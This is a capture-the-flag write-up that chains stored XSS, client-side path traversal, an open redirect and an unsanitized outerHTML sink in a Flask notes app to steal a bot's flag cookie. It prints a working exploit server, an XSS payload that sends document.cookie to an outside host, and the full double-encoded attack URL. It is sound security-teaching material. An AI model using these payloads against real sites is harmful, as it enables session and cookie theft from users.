the app
this was a flask notes application. pretty standard stuff — register, login, create notes, view notes, report stuff to a bot. the kind of thing you’ve seen a hundred times in CTFs.
but there was one thing that stood out to me. there were two ways to store a note: a form POST at /create, and a JSON API at /api/notes/store. i noticed the API endpoint called bleach.clean() on the content, but the form POST didn’t. at all.
flag: FLAG{CSRF_with_Storage_XSS_and_Open_Redirect}
the setup
the app lived at these endpoints:
/— home/register,/login,/logout— auth stuff/create— create notes (authenticated, form POST)/view?note=<uuid>— view a note by UUID/api/notes/fetch/<note_id>— returns JSON withcontentandnote_id/api/notes/store— store notes (authenticated, JSON POST)/contact— has an open redirect viareturnparameter/report— report notes to a bot (authenticated)
the bot (bot/index.js) used Puppeteer to:
- set a
flagcookie onhttp://127.0.0.1with the flag value - visit whatever URL you reported
- wait 5 seconds
- close
it also validated that the URL started with the BASE_URL (http://127.0.0.1). so you can’t just send it to your evil server directly.
the bleach bypass
this was the first piece of the puzzle. i created three notes — two via the form POST and one via the API. when i looked at them:
- form POST (
/create): content stored as-is —<img src=x onerror=alert(1)> - API (
/api/notes/store): content sanitized —<img src=x onerror=alert(1)>
the /create endpoint just grabbed the form data and shoved it straight into the database:
@main.route('/create', methods=['GET', 'POST'])@login_requireddef create_note(): form = NoteForm() if form.validate_on_submit(): note = Note(user_id=current_user.id, content=form.content.data) # NO bleach! db.session.merge(note) db.session.commit()meanwhile, /api/notes/store did the right thing:
@main.route('/api/notes/store', methods=['POST'])@login_requireddef store(): data = request.get_json() content = data.get('content') sanitized_content = bleach.clean(content) # bleach appliedcool. so we have stored XSS potential through the form POST. but then i hit a wall.
the DOMPurify wall
when a note is displayed, the JavaScript fetches it via the API and renders it with DOMPurify:
document.getElementById("note-content").innerHTML = DOMPurify.sanitize(data.content);DOMPurify 3.4.12. it strips <script> tags, event handlers, javascript: URLs — basically everything. no known bypasses for this version.
i spent way too long trying to get around this. SVG, MathML, mutation XSS, CSS expressions — all blocked. DOMPurify’s default config is a fortress.

finding the actual sink
while digging through view.html, i found something interesting:
if (data.debug) { document.getElementById("debug-content").outerHTML = data.debug; document.getElementById("debug-content-section").style.display = "block";}the data.debug field is rendered as outerHTML without DOMPurify. this is the XSS sink. if we can control what comes back in data.debug, we win.
the problem? the /api/notes/fetch/<note_id> endpoint doesn’t return a debug field:
return jsonify({'content': note.content, 'note_id': note.id})the sink is there, but it’s unreachable. we need to make the fetch() call return JSON with a debug field. since no same-origin endpoint does this, we need to redirect the fetch to an attacker-controlled server.
CSPT: the decodeURIComponent trick
in view.html, there’s a function that fetches a note:
function fetchNoteById(noteId) { if (noteId.includes("../")) { showFlashMessage("Input not allowed!", "danger"); return; } fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {it checks for ../ in the noteId, then calls decodeURIComponent(noteId) after the check but before constructing the fetch URL. this is the classic CSPT pattern.
here’s the chain:
urlParams.get("note")— URL-decodes once (removes%25→%)- client check:
noteId.includes("../")— checks the still-encoded value decodeURIComponent(noteId)— decodes%2F→/,%2E→., etc.- browser resolves the resulting URL path (normalizes
../)
to bypass the ../ check, we use double encoding:
- URL param:
..%252f..%252f urlParams.get("note")decodes%25→%:..%2f..%2f- check:
noteId.includes("../")→..%2f..%2fdoes NOT contain../✓ decodeURIComponent(noteId)→../../- browser normalizes:
/api/notes/fetch/../../→/api/→/
the fetch URL after CSPT resolves to: /api/notes/fetch/../../../contact?return=<attacker_url>
with three ../ from /api/notes/fetch/:
/api/notes/fetch/→..→/api/notes//api/notes/→..→/api//api/→..→/- append
contact→/contact
the open redirect at /contact
the /contact endpoint had a classic open redirect:
@main.route('/contact', methods=['GET', 'POST'])def contact(): return_url = request.args.get('return') if return_url and is_safe_url(return_url): return redirect(return_url)
def is_safe_url(target): test_url = urlparse(urljoin(request.host_url, target)) return test_url.scheme in ('http', 'https') # Only checks scheme!is_safe_url only checks the scheme. no netloc validation. so any HTTP/HTTPS URL works as a redirect target. the Docker bot uses network_mode: service:web, sharing the network namespace, so 172.18.0.1 (the host) is reachable from inside Docker.
the UUID validation bypass
the report endpoint had a client-side UUID check:
function validateAndFetchNote(noteId) { if (noteId && isValidUUID(noteId.trim())) { history.pushState(null, "", "?note=" + noteId); fetchNoteById(noteId); } else { showFlashMessage("Please enter a valid note ID...", "danger"); }}
function isValidUUID(noteId) { const uuidRegex = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i; return uuidRegex.test(noteId);}the regex uses $ — the noteId must end with a valid UUID. so by appending &x=<uuid> to the note parameter value (encoded as part of the value, not a separate parameter), the check passes.
the noteId (after URLSearchParams decode) looks like this:
..%2F..%2F..%2Fcontact%3Freturn%3Dhttp%3A%2F%2F172.18.0.1%3A9999%26x%3D12345678-abcd-1234-5678-abc123def456the UUID 12345678-abcd-1234-5678-abc123def456 is at the end, passing the regex check.
the server-side report endpoint also validated the last 36 characters of the query string as a UUID:
note_id = parsed_url.query[-36:]try: if uuid.UUID(note_id): # proceed with bot visitsince the query string ends with the UUID, the last 36 characters are the UUID — validation passes.
the exploit server
when fetch() follows the redirect from same-origin (/contact) to cross-origin (exploit server), the response is subject to CORS. without CORS headers, response.json() fails on the opaque response.
so i set up a simple Flask server with CORS:
from flask import Flask, request, jsonifyfrom flask_cors import CORS
app = Flask(__name__)CORS(app)
XSS_PAYLOAD = '<img src=x onerror="fetch(\'http://172.18.0.1:9999/steal?c=\'+encodeURIComponent(document.cookie))">'
@app.route('/steal')def steal(): c = request.args.get('c', '') with open('/tmp/FLAG.txt', 'w') as f: f.write(c) return 'ok'
@app.route('/', defaults={'path': ''})@app.route('/<path:path>')def catch_all(path): return jsonify({"debug": XSS_PAYLOAD})the server returns {"debug": "<img src=x onerror=...>"} with Access-Control-Allow-Origin: *.
putting it all together
-
attacker starts exploit server on port 9999 with CORS headers and JSON response containing
debugfield with XSS payload -
attacker registers user and submits attack URL to
/report:http://127.0.0.1/view?note=..%252F..%252F..%252Fcontact%253Freturn%253Dhttp%253A%252F%252F172.18.0.1%253A9999%2526x%253D12345678-abcd-1234-5678-abc123def456 -
report endpoint validates: URL is same-origin, path is
/view, query hasnote=, last 36 chars are valid UUID. all checks pass. -
bot visits the URL. JavaScript executes:
urlParams.get("note")→..%2F..%2F..%2Fcontact%3Freturn%3Dhttp%3A%2F%2F172.18.0.1%3A9999%26x%3D12345678-abcd-1234-5678-abc123def456isValidUUID(noteId)→ ends with valid UUID ✓fetchNoteById(noteId)callednoteId.includes("../")→..%2F..%2F..%2F...does NOT contain../✓decodeURIComponent(noteId)→../../../contact?return=http://172.18.0.1:9999&x=12345678-abcd-1234-5678-abc123def456
-
browser resolves fetch URL:
/api/notes/fetch/../../../contact→/contact -
server handles
/contact:return_urlishttp://172.18.0.1:9999,is_safe_urlpasses (scheme ishttp), returns 302 redirect. -
browser follows redirect to exploit server. server responds with
{"debug": "<img src=x onerror=...>"}. CORS headers allow JavaScript to read the response. -
JavaScript processes response:
data.debugis truthydocument.getElementById("debug-content").outerHTML = data.debug— replaces element with HTML- browser parses the HTML, creates
<img>element src=xfails to load →onerrorfiresfetch('http://172.18.0.1:9999/steal?c='+encodeURIComponent(document.cookie))executes- flag cookie sent to
/stealendpoint

things that went wrong
the UUID encoding mistake
first time i submitted the attack URL, i used &x=<uuid> as a separate URL parameter instead of encoding it inside the note parameter value. the urlParams.get("note") only returned the value before the &, so the UUID was in a different parameter and isValidUUID returned false.
fix: encode the & as %26 inside the note parameter value, making the UUID part of the noteId string itself.
no CORS headers
the exploit server didn’t have CORS headers. when fetch() followed the redirect cross-origin, the browser blocked the response from being read by JavaScript. response.json() failed silently.
fix: add Access-Control-Allow-Origin: * to all responses.
shell timeout issues
background Python HTTP servers kept hanging the shell. the http.server module’s serve_forever() blocked the terminal.
fix: use nohup python3 server.py > /tmp/server.log 2>&1 & to run in background.
flask installation
Flask wasn’t installed in the system Python. pip install failed due to PEP 668 (externally managed environment).
fix: use --break-system-packages flag.
the vulnerability summary
| component | vulnerability | impact |
|---|---|---|
/create form POST | bleach bypass (no sanitization) | stored XSS |
view.html decodeURIComponent(noteId) | client-side path traversal (CSPT) | redirect fetch to arbitrary path |
view.html data.debug → outerHTML | unsanitized HTML injection | XSS sink |
/contact is_safe_url | open redirect (scheme-only check) | redirect to attacker server |
view.html isValidUUID regex | trailing UUID validation (regex $ anchor) | bypass with appended UUID |
the chain
Stored XSS (bleach bypass) → CSPT (decodeURIComponent) → Open Redirect (/contact) → Attacker Server (CORS + JSON) → XSS (outerHTML) → Cookie Exfiltrationthe stored XSS discovery was the initial hook, but the actual exploit chain relied on CSPT + open redirect to reach an attacker-controlled server that returns JSON with an unsanitized debug field, triggering XSS via outerHTML. one of those chains where every piece feels kinda harmless on its own, but together they do the job.